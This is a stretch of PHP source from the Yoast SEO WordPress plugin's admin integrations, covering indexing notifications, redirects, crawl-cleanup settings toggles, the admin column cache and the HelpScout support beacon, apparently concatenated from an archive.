$this->indexing_helper->get_limited_filtered_unindexed_count_background( $shutdown_limit ); if ( $total_unindexed === 0 || $total_unindexed > $shutdown_limit ) { return false; } return true; } /** * Retrieves the shutdown limit. This limit is the amount of indexables that is generated in the background. * * @return int The shutdown limit. */ protected function get_shutdown_limit() { /** * Filter 'wpseo_shutdown_indexation_limit' - Allow filtering the number of objects that can be indexed during shutdown. * * @param int $limit The maximum number of objects indexed. */ return \apply_filters( 'wpseo_shutdown_indexation_limit', 25 ); } /** * Removes the cron indexing job from the scheduled event queue. * * @return void */ protected function unschedule_cron_indexing() { $scheduled = \wp_next_scheduled( 'wpseo_indexable_index_batch' ); if ( $scheduled ) { \wp_unschedule_event( $scheduled, 'wpseo_indexable_index_batch' ); } } /** * Registers a method to be executed on shutdown. * This wrapper mostly exists for making this class more unittestable. * * @param string $method_name The name of the method on the current instance to register. * * @return void */ protected function register_shutdown_function( $method_name ) { \register_shutdown_function( [ $this, $method_name ] ); } } integrations/admin/redirections-tools-page.php000064400000003070152076254540015627 0ustar00 */ public static function get_conditionals() { return [ Admin_Conditional::class, ]; } /** * Constructor. * * @param Redirect_Helper $redirect_helper The redirect helper. */ public function __construct( Redirect_Helper $redirect_helper ) { $this->redirect_helper = $redirect_helper; } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { \add_action( 'admin_menu', [ $this, 'register_admin_menu' ] ); } /** * Registers the admin menu. * * @return void */ public function register_admin_menu() { $page_title = \sprintf( /* translators: %s: expands to Yoast */ \esc_html__( '%s Redirects', 'wordpress-seo' ), 'Yoast', ); \add_management_page( $page_title, $page_title, 'edit_others_posts', 'wpseo_redirects_tools', [ $this, 'show_redirects_page' ], ); } /** * The redirects tools page render function, noop. * * @return void */ public function show_redirects_page() { // Do nothing and let the redirect happen from the redirect integration. } } integrations/admin/cron-integration.php000064400000001753152076254540014355 0ustar00date_helper = $date_helper; } /** * {@inheritDoc} */ public function register_hooks() { if ( ! \wp_next_scheduled( Indexing_Notification_Integration::NOTIFICATION_ID ) ) { \wp_schedule_event( $this->date_helper->current_time(), 'daily', Indexing_Notification_Integration::NOTIFICATION_ID, ); } } } integrations/admin/admin-columns-cache-integration.php000064400000017142152076254540017222 0ustar00indexable_repository = $indexable_repository; } /** * Registers the appropriate actions and filters to fill the cache with * indexables on admin pages. * * This cache is used in showing the Yoast SEO columns on the posts overview * page (e.g. keyword score, incoming link count, etc.) * * @return void */ public function register_hooks() { // Hook into tablenav to calculate links and linked. \add_action( 'manage_posts_extra_tablenav', [ $this, 'maybe_fill_cache' ] ); } /** * Makes sure we calculate all values in one query by filling our cache beforehand. * * @param string $target Extra table navigation location which is triggered. * * @return void */ public function maybe_fill_cache( $target ) { if ( $target === 'top' ) { $this->fill_cache(); } } /** * Fills the cache of indexables for all known post IDs. * * @return void */ public function fill_cache() { global $wp_query; // No need to continue building a cache if the main query did not return anything to cache. if ( empty( $wp_query->posts ) ) { return; } $posts = $wp_query->posts; $post_ids = []; // Post lists return a list of objects. if ( isset( $posts[0] ) && \is_a( $posts[0], 'WP_Post' ) ) { $post_ids = \wp_list_pluck( $posts, 'ID' ); } elseif ( isset( $posts[0] ) && \is_object( $posts[0] ) ) { $post_ids = $this->get_current_page_page_ids( $posts ); } elseif ( ! empty( $posts ) ) { // Page list returns an array of post IDs. $post_ids = \array_keys( $posts ); } if ( empty( $post_ids ) ) { return; } if ( isset( $posts[0] ) && ! \is_a( $posts[0], WP_Post::class ) ) { // Prime the post caches as core would to avoid duplicate queries. // This needs to be done as this executes before core does. \_prime_post_caches( $post_ids ); } $indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_ids, 'post', false ); foreach ( $indexables as $indexable ) { if ( $indexable instanceof Indexable ) { $this->indexable_cache[ $indexable->object_id ] = $indexable; } } } /** * Returns the indexable for a given post ID. * * @param int $post_id The post ID. * * @return Indexable|false The indexable. False if none could be found. */ public function get_indexable( $post_id ) { if ( ! \array_key_exists( $post_id, $this->indexable_cache ) ) { $this->indexable_cache[ $post_id ] = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' ); } return $this->indexable_cache[ $post_id ]; } /** * Gets all the page IDs set to be shown on the current page. * This is copied over with some changes from WP_Posts_List_Table::_display_rows_hierarchical. * * @param array $pages The pages, each containing an ID and post_parent. * * @return array The IDs of all pages shown on the current page. */ private function get_current_page_page_ids( $pages ) { global $per_page; $pagenum = isset( $_REQUEST['paged'] ) ? \absint( $_REQUEST['paged'] ) : 0; $pagenum = \max( 1, $pagenum ); /* * Arrange pages into two parts: top level pages and children_pages * children_pages is two dimensional array, eg. * children_pages[10][] contains all sub-pages whose parent is 10. * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations * If searching, ignore hierarchy and treat everything as top level */ if ( empty( $_REQUEST['s'] ) ) { $top_level_pages = []; $children_pages = []; $pages_map = []; foreach ( $pages as $page ) { // Catch and repair bad pages. if ( $page->post_parent === $page->ID ) { $page->post_parent = 0; } if ( $page->post_parent === 0 ) { $top_level_pages[] = $page; } else { $children_pages[ $page->post_parent ][] = $page; } $pages_map[ $page->ID ] = $page; } $pages = $top_level_pages; } $count = 0; $start = ( ( $pagenum - 1 ) * $per_page ); $end = ( $start + $per_page ); $to_display = []; foreach ( $pages as $page ) { if ( $count >= $end ) { break; } if ( $count >= $start ) { $to_display[] = $page->ID; } ++$count; $this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map ); } // If it is the last pagenum and there are orphaned pages, display them with paging as well. if ( isset( $children_pages ) && $count < $end ) { foreach ( $children_pages as $orphans ) { foreach ( $orphans as $op ) { if ( $count >= $end ) { break; } if ( $count >= $start ) { $to_display[] = $op->ID; } ++$count; } } } return $to_display; } /** * Adds all child pages due to be shown on the current page to the $to_display array. * Copied over with some changes from WP_Posts_List_Table::_page_rows. * * @param array $children_pages The full map of child pages. * @param int $count The number of pages already processed. * @param int $parent_id The id of the parent that's currently being processed. * @param int $start The number at which the current overview starts. * @param int $end The number at which the current overview ends. * @param int $to_display The page IDs to be shown. * @param int $pages_map A map of page ID to an object with ID and post_parent. * * @return void */ private function get_child_page_ids( &$children_pages, &$count, $parent_id, $start, $end, &$to_display, &$pages_map ) { if ( ! isset( $children_pages[ $parent_id ] ) ) { return; } foreach ( $children_pages[ $parent_id ] as $page ) { if ( $count >= $end ) { break; } // If the page starts in a subtree, print the parents. if ( $count === $start && $page->post_parent > 0 ) { $my_parents = []; $my_parent = $page->post_parent; while ( $my_parent ) { // Get the ID from the list or the attribute if my_parent is an object. $parent_id = $my_parent; if ( \is_object( $my_parent ) ) { $parent_id = $my_parent->ID; } $my_parent = $pages_map[ $parent_id ]; $my_parents[] = $my_parent; if ( ! $my_parent->post_parent ) { break; } $my_parent = $my_parent->post_parent; } while ( $my_parent = \array_pop( $my_parents ) ) { $to_display[] = $my_parent->ID; } } if ( $count >= $start ) { $to_display[] = $page->ID; } ++$count; $this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map ); } unset( $children_pages[ $parent_id ] ); // Required in order to keep track of orphans. } } integrations/admin/indexables-exclude-taxonomy-integration.php000064400000002613152076254540021031 0ustar00options_helper = $options_helper; } /** * {@inheritDoc} */ public function register_hooks() { \add_filter( 'wpseo_indexable_excluded_taxonomies', [ $this, 'exclude_taxonomies_for_indexation' ] ); } /** * Exclude the taxonomy from the indexable table. * * @param array $excluded_taxonomies The excluded taxonomies. * * @return array The excluded taxonomies, including specific taxonomies. */ public function exclude_taxonomies_for_indexation( $excluded_taxonomies ) { $taxonomies_to_exclude = \array_merge( $excluded_taxonomies, [ 'wp_pattern_category' ] ); if ( $this->options_helper->get( 'disable-post_format', false ) ) { return \array_merge( $taxonomies_to_exclude, [ 'post_format' ] ); } return $taxonomies_to_exclude; } } integrations/admin/indexing-notification-integration.php000064400000015711152076254540017704 0ustar00notification_center = $notification_center; $this->product_helper = $product_helper; $this->page_helper = $page_helper; $this->short_link_helper = $short_link_helper; $this->notification_helper = $notification_helper; $this->indexing_helper = $indexing_helper; $this->addon_manager = $addon_manager; $this->environment_helper = $environment_helper; } /** * Initializes the integration. * * Adds hooks and jobs to cleanup or add the notification when necessary. * * @return void */ public function register_hooks() { if ( $this->page_helper->get_current_yoast_seo_page() === 'wpseo_dashboard' ) { \add_action( 'admin_init', [ $this, 'maybe_cleanup_notification' ] ); } if ( $this->indexing_helper->has_reason() ) { \add_action( 'admin_init', [ $this, 'maybe_create_notification' ] ); } \add_action( self::NOTIFICATION_ID, [ $this, 'maybe_create_notification' ] ); } /** * Returns the conditionals based on which this loadable should be active. * * @return array The conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class, Not_Admin_Ajax_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class, ]; } /** * Checks whether the notification should be shown and adds * it to the notification center if this is the case. * * @return void */ public function maybe_create_notification() { if ( ! $this->should_show_notification() ) { return; } if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) { $notification = $this->notification(); $this->notification_helper->restore_notification( $notification ); $this->notification_center->add_notification( $notification ); } } /** * Checks whether the notification should not be shown anymore and removes * it from the notification center if this is the case. * * @return void */ public function maybe_cleanup_notification() { $notification = $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ); if ( $notification === null ) { return; } if ( $this->should_show_notification() ) { return; } $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); } /** * Checks whether the notification should be shown. * * @return bool If the notification should be shown. */ protected function should_show_notification() { if ( ! $this->environment_helper->is_production_mode() ) { return false; } // Don't show a notification if the indexing has already been started earlier. if ( $this->indexing_helper->get_started() > 0 ) { return false; } // We're about to perform expensive queries, let's inform. \add_filter( 'wpseo_unindexed_count_queries_ran', '__return_true' ); // Never show a notification when nothing should be indexed. return $this->indexing_helper->get_limited_filtered_unindexed_count( 1 ) > 0; } /** * Returns an instance of the notification. * * @return Yoast_Notification The notification to show. */ protected function notification() { $reason = $this->indexing_helper->get_reason(); $presenter = $this->get_presenter( $reason ); return new Yoast_Notification( $presenter, [ 'type' => Yoast_Notification::WARNING, 'id' => self::NOTIFICATION_ID, 'capabilities' => 'wpseo_manage_options', 'priority' => 0.8, ], ); } /** * Gets the presenter to use to show the notification. * * @param string $reason The reason for the notification. * * @return Indexing_Failed_Notification_Presenter|Indexing_Notification_Presenter */ protected function get_presenter( $reason ) { if ( $reason === Indexing_Reasons::REASON_INDEXING_FAILED ) { $presenter = new Indexing_Failed_Notification_Presenter( $this->product_helper, $this->short_link_helper, $this->addon_manager ); } else { $total_unindexed = $this->indexing_helper->get_filtered_unindexed_count(); $presenter = new Indexing_Notification_Presenter( $this->short_link_helper, $total_unindexed, $reason ); } return $presenter; } } integrations/admin/redirect-integration.php000064400000005742152076254540015217 0ustar00redirect = $redirect; $this->short_link_helper = $short_link_helper; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'wp_loaded', [ $this, 'settings_redirect' ] ); } /** * Catch all method to redirect certain pages related to redirects. * * @return void */ public function settings_redirect() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( ! isset( $_GET['page'] ) ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $current_page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) ); switch ( $current_page ) { case 'wpseo_titles': // Redirect to new settings URLs. We're adding this, so that not-updated add-ons don't point to non-existent pages. $this->redirect->do_safe_redirect( \admin_url( 'admin.php?page=wpseo_page_settings#/site-representation' ), 301 ); return; case 'wpseo_redirects_tools': // Redirect to Yoast redirection page, from the respective WP tools page. $this->redirect->do_safe_redirect( \admin_url( 'admin.php?page=wpseo_redirects&from_tools=1' ), 302 ); return; case 'wpseo_brand_insights': $this->redirect->do_unsafe_redirect( $this->short_link_helper->get( 'https://yoa.st/brand-insights-wp-admin' ), 302 ); return; case 'wpseo_brand_insights_premium': $this->redirect->do_unsafe_redirect( $this->short_link_helper->get( 'https://yoa.st/brand-insights-wp-admin-premium' ), 302 ); return; default: return; } } /** * Old method kept for backward compatibility. * * @deprecated 26.2 * @codeCoverageIgnore Because of deprecation. * @return void */ public function old_settings_redirect() { \_deprecated_function( __METHOD__, 'Yoast SEO 26.2', 'Use settings_redirect() instead.' ); $this->settings_redirect(); } } integrations/admin/crawl-settings-integration.php000064400000025624152076254540016365 0ustar00 */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Crawl_Settings_Integration constructor. * * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager. * @param WPSEO_Shortlinker $shortlinker The shortlinker. */ public function __construct( WPSEO_Admin_Asset_Manager $admin_asset_manager, WPSEO_Shortlinker $shortlinker ) { $this->admin_asset_manager = $admin_asset_manager; $this->shortlinker = $shortlinker; } /** * Registers an action to add a new tab to the General page. * * @return void */ public function register_hooks() { $this->register_setting_labels(); \add_action( 'wpseo_settings_tab_crawl_cleanup_network', [ $this, 'add_crawl_settings_tab_content_network' ] ); \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); } /** * Enqueue the workouts app. * * @return void */ public function enqueue_assets() { if ( ! \is_network_admin() ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Page is not processed or saved. if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_dashboard' ) { return; } $this->admin_asset_manager->enqueue_script( 'crawl-settings' ); } /** * Connects the settings to their labels. * * @return void */ private function register_setting_labels() { $this->feed_settings = [ 'remove_feed_global' => \__( 'Global feed', 'wordpress-seo' ), 'remove_feed_global_comments' => \__( 'Global comment feeds', 'wordpress-seo' ), 'remove_feed_post_comments' => \__( 'Post comments feeds', 'wordpress-seo' ), 'remove_feed_authors' => \__( 'Post authors feeds', 'wordpress-seo' ), 'remove_feed_post_types' => \__( 'Post type feeds', 'wordpress-seo' ), 'remove_feed_categories' => \__( 'Category feeds', 'wordpress-seo' ), 'remove_feed_tags' => \__( 'Tag feeds', 'wordpress-seo' ), 'remove_feed_custom_taxonomies' => \__( 'Custom taxonomy feeds', 'wordpress-seo' ), 'remove_feed_search' => \__( 'Search results feeds', 'wordpress-seo' ), 'remove_atom_rdf_feeds' => \__( 'Atom/RDF feeds', 'wordpress-seo' ), ]; $this->basic_settings = [ 'remove_shortlinks' => \__( 'Shortlinks', 'wordpress-seo' ), 'remove_rest_api_links' => \__( 'REST API links', 'wordpress-seo' ), 'remove_rsd_wlw_links' => \__( 'RSD / WLW links', 'wordpress-seo' ), 'remove_oembed_links' => \__( 'oEmbed links', 'wordpress-seo' ), 'remove_generator' => \__( 'Generator tag', 'wordpress-seo' ), 'remove_pingback_header' => \__( 'Pingback HTTP header', 'wordpress-seo' ), 'remove_powered_by_header' => \__( 'Powered by HTTP header', 'wordpress-seo' ), ]; $this->permalink_cleanup_settings = [ 'clean_campaign_tracking_urls' => \__( 'Campaign tracking URL parameters', 'wordpress-seo' ), 'clean_permalinks' => \__( 'Unregistered URL parameters', 'wordpress-seo' ), ]; $this->search_cleanup_settings = [ 'search_cleanup' => \__( 'Filter search terms', 'wordpress-seo' ), 'search_cleanup_emoji' => \__( 'Filter searches with emojis and other special characters', 'wordpress-seo' ), 'search_cleanup_patterns' => \__( 'Filter searches with common spam patterns', 'wordpress-seo' ), 'deny_search_crawling' => \__( 'Prevent search engines from crawling site search URLs', 'wordpress-seo' ), 'redirect_search_pretty_urls' => \__( 'Redirect pretty URLs for search pages to raw format', 'wordpress-seo' ), ]; $this->unused_resources_settings = [ 'remove_emoji_scripts' => \__( 'Emoji scripts', 'wordpress-seo' ), 'deny_wp_json_crawling' => \__( 'Prevent search engines from crawling /wp-json/', 'wordpress-seo' ), 'deny_adsbot_crawling' => \__( 'Prevent Google AdsBot from crawling', 'wordpress-seo' ), ]; } /** * Adds content to the Crawl Cleanup network tab. * * @param Yoast_Form $yform The yoast form object. * * @return void */ public function add_crawl_settings_tab_content_network( $yform ) { $this->add_crawl_settings( $yform ); } /** * Print the settings sections. * * @param Yoast_Form $yform The Yoast form class. * * @return void */ private function add_crawl_settings( $yform ) { $this->print_toggles( $this->basic_settings, $yform, \__( 'Basic crawl settings', 'wordpress-seo' ) ); $this->print_toggles( $this->feed_settings, $yform, \__( 'Feed crawl settings', 'wordpress-seo' ) ); $this->print_toggles( $this->unused_resources_settings, $yform, \__( 'Remove unused resources', 'wordpress-seo' ) ); $first_search_setting = \array_slice( $this->search_cleanup_settings, 0, 1 ); $rest_search_settings = \array_slice( $this->search_cleanup_settings, 1 ); $search_settings_toggles = [ 'off' => \__( 'Disabled', 'wordpress-seo' ), 'on' => \__( 'Enabled', 'wordpress-seo' ), ]; $this->print_toggles( $first_search_setting, $yform, \__( 'Search cleanup settings', 'wordpress-seo' ), $search_settings_toggles ); $this->print_toggles( $rest_search_settings, $yform, '', $search_settings_toggles ); $permalink_warning = \sprintf( /* Translators: %1$s expands to an opening anchor tag for a link leading to the Yoast SEO page of the Permalink Cleanup features, %2$s expands to a closing anchor tag. */ \esc_html__( 'These are expert features, so make sure you know what you\'re doing before removing the parameters. %1$sRead more about how your site can be affected%2$s.', 'wordpress-seo', ), '', '', ); $this->print_toggles( $this->permalink_cleanup_settings, $yform, \__( 'Permalink cleanup settings', 'wordpress-seo' ), [], $permalink_warning ); // Add the original option as hidden, so as not to lose any values if it's disabled and the form is saved. $yform->hidden( 'clean_permalinks_extra_variables', 'clean_permalinks_extra_variables' ); } /** * Prints a list of toggles for an array of settings with labels. * * @param array $settings The settings being displayed. * @param Yoast_Form $yform The Yoast form class. * @param string $title Optional title for the settings being displayed. * @param array $toggles Optional naming of the toggle buttons. * @param string $warning Optional warning to be displayed above the toggles. * * @return void */ private function print_toggles( array $settings, Yoast_Form $yform, $title = '', $toggles = [], $warning = '' ) { if ( ! empty( $title ) ) { echo '

', \esc_html( $title ), '

'; } if ( ! empty( $warning ) ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in Alert_Presenter. echo new Alert_Presenter( $warning, 'warning' ); } if ( empty( $toggles ) ) { $toggles = [ 'off' => \__( 'Keep', 'wordpress-seo' ), 'on' => \__( 'Remove', 'wordpress-seo' ), ]; } $setting_prefix = WPSEO_Option::ALLOW_KEY_PREFIX; $toggles = [ // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO. 'on' => \__( 'Allow Control', 'wordpress-seo' ), // phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO. 'off' => \__( 'Disable', 'wordpress-seo' ), ]; foreach ( $settings as $setting => $label ) { $attr = []; $variable = $setting_prefix . $setting; if ( $this->should_feature_be_disabled_permalink( $setting ) ) { $attr = [ 'disabled' => true, ]; $variable = $setting_prefix . $setting . '_disabled'; // Also add the original option as hidden, so as not to lose any values if it's disabled and the form is saved. $yform->hidden( $setting_prefix . $setting, $setting_prefix . $setting ); } elseif ( $this->should_feature_be_disabled_multisite( $setting ) ) { $attr = [ 'disabled' => true, 'preserve_disabled_value' => false, ]; } $yform->toggle_switch( $variable, $toggles, $label, '', $attr, ); if ( $this->should_feature_be_disabled_permalink( $setting ) ) { echo '

'; if ( \current_user_can( 'manage_options' ) ) { \printf( /* translators: 1: Link start tag to the Permalinks settings page, 2: Link closing tag. */ \esc_html__( 'This feature is disabled when your site is not using %1$spretty permalinks%2$s.', 'wordpress-seo' ), '', '', ); } else { echo \esc_html__( 'This feature is disabled when your site is not using pretty permalinks.', 'wordpress-seo' ); } echo '

'; } } } /** * Checks if the feature should be disabled due to non-pretty permalinks. * * @param string $setting The setting to be displayed. * * @return bool */ protected function should_feature_be_disabled_permalink( $setting ) { return ( \in_array( $setting, [ 'clean_permalinks', 'clean_campaign_tracking_urls' ], true ) && empty( \get_option( 'permalink_structure' ) ) ); } /** * Checks if the feature should be disabled due to the site being a multisite. * * @param string $setting The setting to be displayed. * * @return bool */ protected function should_feature_be_disabled_multisite( $setting ) { return ( \in_array( $setting, [ 'deny_search_crawling', 'deny_wp_json_crawling', 'deny_adsbot_crawling' ], true ) && \is_multisite() ); } } integrations/admin/helpscout-beacon.php000064400000034315152076254550014327 0ustar00 */ protected $products = []; /** * Whether to ask the user's consent before loading in HelpScout. * * @var bool */ protected $ask_consent = true; /** * The options helper. * * @var Options_Helper */ protected $options; /** * The addon manager. * * @var WPSEO_Addon_Manager */ protected $addon_manager; /** * The array of pages we need to show the beacon on with their respective beacon IDs. * * @var array */ protected $pages_ids; /** * The array of pages we need to show the beacon on. * * @var array */ protected $base_pages = [ 'wpseo_dashboard', Settings_Integration::PAGE, Academy_Integration::PAGE, Support_Integration::PAGE, 'wpseo_search_console', 'wpseo_tools', Plans_Page_Integration::PAGE, 'wpseo_workouts', 'wpseo_integrations', ]; /** * The current admin page * * @var string|null */ protected $page; /** * The asset manager. * * @var WPSEO_Admin_Asset_Manager */ protected $asset_manager; /** * The migration status object. * * @var Migration_Status */ protected $migration_status; /** * Headless_Rest_Endpoints_Enabled_Conditional constructor. * * @param Options_Helper $options The options helper. * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager. * @param Migration_Status $migration_status The migrations status. * @param WPSEO_Addon_Manager $addon_manager The addon manager. */ public function __construct( Options_Helper $options, WPSEO_Admin_Asset_Manager $asset_manager, Migration_Status $migration_status, WPSEO_Addon_Manager $addon_manager ) { $this->options = $options; $this->asset_manager = $asset_manager; $this->addon_manager = $addon_manager; $this->ask_consent = ! $this->options->get( 'tracking' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $this->page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) ); } else { $this->page = null; } $this->migration_status = $migration_status; $beacon_id = $this->get_beacon_id(); foreach ( $this->base_pages as $page ) { $this->pages_ids[ $page ] = $beacon_id; } } /** * {@inheritDoc} * * @return void */ public function register_hooks() { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_help_scout_script' ] ); \add_action( 'admin_footer', [ $this, 'output_beacon_js' ] ); } /** * Enqueues the HelpScout script. * * @return void */ public function enqueue_help_scout_script() { // Make sure plugins can filter in their "stuff", before we check whether we're outputting a beacon. $this->filter_settings(); if ( ! $this->is_beacon_page() ) { return; } $this->asset_manager->enqueue_script( 'help-scout-beacon' ); } /** * Outputs a small piece of javascript for the beacon. * * @return void */ public function output_beacon_js() { if ( ! $this->is_beacon_page() ) { return; } \printf( '', ( $this->ask_consent ) ? 'wpseoHelpScoutBeaconConsent' : 'wpseoHelpScoutBeacon', \esc_html( $this->pages_ids[ $this->page ] ), // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- escaping done in format_json_encode. WPSEO_Utils::format_json_encode( (array) $this->get_session_data() ), ); } /** * Checks if the current page is a page containing the beacon. * * @return bool */ private function is_beacon_page() { $return = false; if ( ! empty( $this->page ) && $GLOBALS['pagenow'] === 'admin.php' && isset( $this->pages_ids[ $this->page ] ) ) { $return = true; } /** * Filter: 'wpseo_helpscout_show_beacon' - Allows overriding whether we show the HelpScout beacon. * * @param bool $show_beacon Whether we show the beacon or not. */ return \apply_filters( 'wpseo_helpscout_show_beacon', $return ); } /** * Retrieves the identifying data. * * @return string The data to pass as identifying data. */ protected function get_session_data() { // Short-circuit if we can get the needed data from a transient. $transient_data = \get_transient( 'yoast_beacon_session_data' ); if ( \is_array( $transient_data ) ) { return WPSEO_Utils::format_json_encode( $transient_data ); } $current_user = \wp_get_current_user(); // Do not make these strings translatable! They are for our support agents, the user won't see them! $data = \array_merge( [ 'name' => \trim( $current_user->user_firstname . ' ' . $current_user->user_lastname ), 'email' => $current_user->user_email, 'Languages' => $this->get_language_settings(), ], $this->get_server_info(), [ 'WordPress Version' => $this->get_wordpress_version(), 'Active theme' => $this->get_theme_info(), 'Active plugins' => $this->get_active_plugins(), 'Must-use and dropins' => $this->get_mustuse_and_dropins(), 'Indexables status' => $this->get_indexables_status(), ], ); if ( ! empty( $this->products ) ) { $addon_manager = new WPSEO_Addon_Manager(); foreach ( $this->products as $product ) { $subscription = $addon_manager->get_subscription( $product ); if ( ! $subscription ) { continue; } $data[ $subscription->product->name ] = $this->get_product_info( $subscription ); } } // Store the data in a transient for 5 minutes to prevent overhead on every backend pageload. \set_transient( 'yoast_beacon_session_data', $data, ( 5 * \MINUTE_IN_SECONDS ) ); return WPSEO_Utils::format_json_encode( $data ); } /** * Returns basic info about the server software. * * @return array */ private function get_server_info() { $server_tracking_data = new WPSEO_Tracking_Server_Data(); $server_data = $server_tracking_data->get(); $server_data = $server_data['server']; $fields_to_use = [ 'Server IP' => 'ip', 'PHP Version' => 'PhpVersion', 'cURL Version' => 'CurlVersion', ]; $server_data['CurlVersion'] = $server_data['CurlVersion']['version'] . ' (SSL Support ' . $server_data['CurlVersion']['sslSupport'] . ')'; $server_info = []; foreach ( $fields_to_use as $label => $field_to_use ) { if ( isset( $server_data[ $field_to_use ] ) ) { $server_info[ $label ] = \esc_html( $server_data[ $field_to_use ] ); } } // Get the memory limits for the server and, if different, from WordPress as well. $memory_limit = \ini_get( 'memory_limit' ); $server_info['Memory limits'] = 'Server memory limit: ' . $memory_limit; if ( $memory_limit !== \WP_MEMORY_LIMIT ) { $server_info['Memory limits'] .= ', WP_MEMORY_LIMIT: ' . \WP_MEMORY_LIMIT; } if ( $memory_limit !== \WP_MAX_MEMORY_LIMIT ) { $server_info['Memory limits'] .= ', WP_MAX_MEMORY_LIMIT: ' . \WP_MAX_MEMORY_LIMIT; } return $server_info; } /** * Returns info about the Yoast SEO plugin version and license. * * @param object $plugin The plugin. * * @return string The product info. */ private function get_product_info( $plugin ) { if ( empty( $plugin ) ) { return ''; } $product_info = \sprintf( 'Expiration date %1$s', $plugin->expiry_date, ); return $product_info; } /** * Returns the WordPress version + a suffix about the multisite status. * * @return string The WordPress version string. */ private function get_wordpress_version() { global $wp_version; $wordpress_version = $wp_version; if ( \is_multisite() ) { $wordpress_version .= ' (multisite: yes)'; } else { $wordpress_version .= ' (multisite: no)'; } return $wordpress_version; } /** * Returns information about the current theme. * * @return string The theme info as string. */ private function get_theme_info() { $theme = \wp_get_theme(); $theme_info = \sprintf( '%1$s (Version %2$s, %3$s)', \esc_html( $theme->display( 'Name' ) ), \esc_html( $theme->display( 'Version' ) ), \esc_attr( $theme->display( 'ThemeURI' ) ), ); if ( \is_child_theme() ) { $theme_info .= \sprintf( ', this is a child theme of: %1$s', \esc_html( $theme->display( 'Template' ) ) ); } return $theme_info; } /** * Returns a stringified list of all active plugins, separated by a pipe. * * @return string The active plugins. */ private function get_active_plugins() { $updates_available = \get_site_transient( 'update_plugins' ); $active_plugins = ''; foreach ( \wp_get_active_and_valid_plugins() as $plugin ) { $plugin_data = \get_plugin_data( $plugin ); $plugin_file = \str_replace( \trailingslashit( \WP_PLUGIN_DIR ), '', $plugin ); $plugin_update_available = ''; if ( isset( $updates_available->response[ $plugin_file ] ) ) { $plugin_update_available = ' [update available]'; } $active_plugins .= \sprintf( '%1$s (Version %2$s%3$s, %4$s) | ', \esc_html( $plugin_data['Name'] ), \esc_html( $plugin_data['Version'] ), $plugin_update_available, \esc_attr( $plugin_data['PluginURI'] ), ); } return $active_plugins; } /** * Returns a CSV list of all must-use and drop-in plugins. * * @return string The active plugins. */ private function get_mustuse_and_dropins() { $dropins = \get_dropins(); $mustuse_plugins = \get_mu_plugins(); if ( ! \is_array( $dropins ) ) { $dropins = []; } if ( ! \is_array( $mustuse_plugins ) ) { $mustuse_plugins = []; } return \sprintf( 'Must-Use plugins: %1$d, Drop-ins: %2$d', \count( $mustuse_plugins ), \count( $dropins ) ); } /** * Return the indexables status details. * * @return string The indexables status in a string. */ private function get_indexables_status() { $indexables_status = 'Indexing completed: '; $indexing_completed = $this->options->get( 'indexables_indexing_completed' ); $indexing_reason = $this->options->get( 'indexing_reason' ); $indexables_status .= ( $indexing_completed ) ? 'yes' : 'no'; $indexables_status .= ( $indexing_reason ) ? ', latest indexing reason: ' . \esc_html( $indexing_reason ) : ''; foreach ( [ 'free', 'premium' ] as $migration_name ) { $current_status = $this->migration_status->get_error( $migration_name ); if ( \is_array( $current_status ) && isset( $current_status['message'] ) ) { $indexables_status .= ', migration error: ' . \esc_html( $current_status['message'] ); } } return $indexables_status; } /** * Returns language settings for the website and the current user. * * @return string The locale settings of the site and user. */ private function get_language_settings() { $site_locale = \get_locale(); $user_locale = \get_user_locale(); $language_settings = \sprintf( 'Site locale: %1$s, user locale: %2$s', ( \is_string( $site_locale ) ) ? \esc_html( $site_locale ) : 'unknown', ( \is_string( $user_locale ) ) ? \esc_html( $user_locale ) : 'unknown', ); return $language_settings; } /** * Returns the conditionals based on which this integration should be active. * * @return array The array of conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Get the beacon id to use based on the user's subscription and tracking settings. * * @return string The beacon id to use. */ private function get_beacon_id() { // Case where the user has a Yoast WooCommerce SEO plan subscription (highest priority). if ( $this->addon_manager->has_active_addons() && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) { return $this->beacon_id_woocommerce; } // Case where the user has a Yoast SEO Premium plan subscription. if ( $this->addon_manager->has_active_addons() && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) { return $this->beacon_id_premium; } // Case where the user has no plan active and tracking enabled. if ( $this->ask_consent ) { return $this->beacon_id_tracking_users; } 